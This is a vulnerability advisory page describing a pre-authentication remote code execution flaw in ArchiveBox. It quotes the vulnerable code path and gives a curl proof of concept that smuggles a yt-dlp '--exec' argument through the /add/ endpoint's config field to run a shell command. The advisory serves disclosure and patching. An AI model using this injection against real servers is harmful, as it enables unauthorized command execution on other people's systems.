PT-2026-53380 · Pypi · Archivebox
Publicado
2026-06-29
·
Atualizado
2026-06-29
CVSS v3.1
9.8
Crítica
| Vetor | AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
The /add/ endpoint (AddView in core/views.py) accepts a config JSON field that gets merged into the crawl config without validation. This config is exported as environment variables when archive plugins run, allowing injection of arbitrary tool arguments to achieve RCE.
When PUBLIC ADD VIEW=True (common for bookmarklet usage), this is exploitable without authentication. The endpoint is also @csrf exempt.
Affected code:
core/views.py:887 - user config extracted with no validation:
python
custom config = form.cleaned data.get("config") or {}core/views.py:918 - merged into crawl config:
python
config.update(custom config)config/configset.py:255-256 - crawl config applied with high priority:
python
if crawl and hasattr(crawl, "config") and crawl.config:
config.update(crawl.config)hooks.py:398-411 - config exported as env vars:
python
for key, value in config.items():
if key in SKIP KEYS: continue
env[key] = str(value)plugins/ytdlp/on Snapshot 02 ytdlp.bg.py:122-123 - env var args passed to yt-dlp:
python
ytdlp args extra = get env array("YTDLP ARGS EXTRA", [])
cmd.extend(ytdlp args extra)PoC (pre-auth when PUBLIC ADD VIEW=True):
bash
curl -X POST http://localhost:8000/add/
-d "url=https://www.youtube.com/watch?v=dQw4w9WgXcQ"
-d "depth=0"
-d "config={"YTDLP ARGS EXTRA": "["--exec", "id > /tmp/pwned"]"}" After the crawl runs, yt-dlp executes id > /tmp/pwned via its --exec flag.
Same approach works with GALLERYDL ARGS EXTRA (gallery-dl --exec), or overriding any * BINARY key.
Impact: Remote code execution on the ArchiveBox server. Pre-auth when PUBLIC ADD VIEW=True.
Correção
Encontrou algum problema na descrição? Tem algo a acrescentar? Fique à vontade para nos escrever 👾
Identificadores relacionados
Produtos afetados
Archivebox